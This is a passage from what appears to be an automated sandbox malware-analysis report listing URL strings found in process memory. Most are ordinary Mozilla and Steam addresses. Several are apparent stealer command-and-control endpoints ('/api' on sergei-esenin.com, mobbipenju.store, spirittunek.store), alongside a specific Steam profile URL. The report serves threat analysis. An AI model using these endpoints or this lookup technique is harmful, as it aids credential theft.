Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schemaInstance
Source: firefox.exe, 00000019.00000002.3212088347.000001379F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000019.00000002.3212088347.000001379F303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3234717923.00000137A0EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210751265.000001379F299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3234139332.00000137A0D61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210751265.000001379F23D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3240318696.00000137A1B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comresource://normandy/lib/CleanupManager.sys.mjsenv.channel
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3170068733.000001378E8D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://gre/modules/translation/LanguageDetecto
Source: 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobbipenju.store:443/api
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 00000019.00000002.3179268401.000001379A0A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3181915988.000001379A8B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3204056198.000001379E644000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976232127.000001379E938000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2974846355.000001379E700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976412933.000001379E953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976574533.000001379E96F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/TOAST_NOTIFICATION_TELEMETRY
Source: file.exe, 00000000.00000003.2201376097.00000000010C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2147845498.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2150935247.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2151059602.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148082112.0000000005A37000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2236788761.00000000010C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2151283183.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: file.exe, 00000000.00000003.2201148750.000000000107B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201376097.00000000010C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2236788761.00000000010C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/W
Source: file.exe, 00000000.00000003.2094931339.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.2167545129.00000000010E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/oon
Source: file.exe, 00000000.00000003.2094931339.000000000107E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201148750.000000000107B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/api
Source: file.exe, 00000000.00000003.2201148750.000000000107B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apiMicrosoft
Source: file.exe, 00000000.00000003.2201148750.000000000107B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apitPK
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3216319833.000001379FE44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000019.00000002.3240318696.00000137A1B49000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3268801585.00000137A9257000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3216319833.000001379FE11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3074602555.00000137A92F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3207818517.000001379EC1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3207818517.000001379EC1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/apix%
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3216319833.000001379FE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A6919000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/Endpoint
Source: firefox.exe, 00000019.00000002.3194453184.000001379DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3207818517.000001379EC1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3236681244.00000137A10D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3197648410.000001379E1CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3216319833.000001379FE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3204056198.000001379E698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A698F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A6919000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:disabled_picture_in_picture_overrides.dailymotiondisabled_picture_
Source: firefox.exe, 00000019.00000002.3257901918.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_EXPERIMENT_DATAdiscoverystream.spoc.impressionsAS_R
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210751265.000001379F217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210751265.000001379F217000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3213506140.000001379F6DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3213506140.000001379F677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2922291793.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923349387.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000002.2806413916.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/=q
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2922291793.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724
Source: 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000002.2806413916.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923349387.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2922291793.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923349387.0000000000ECD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000002.2806413916.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900-q
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 976d9f40c1.exe, 00000009.00000002.2806226818.00000000016B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900?
Source: 976d9f40c1.exe, 0000000B.00000003.2922291793.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923405378.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/re
Source: 976d9f40c1.exe, 00000009.00000003.2803479877.000000000172B000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000002.2806627641.000000000172B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/w.EE
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000003.2094931339.000000000107E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.2094931339.000000000108F000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803479877.000000000172B000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000002.2806627641.000000000172B000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2922291793.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923405378.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb9e7f3651c38ac4
Source: 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2922291793.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
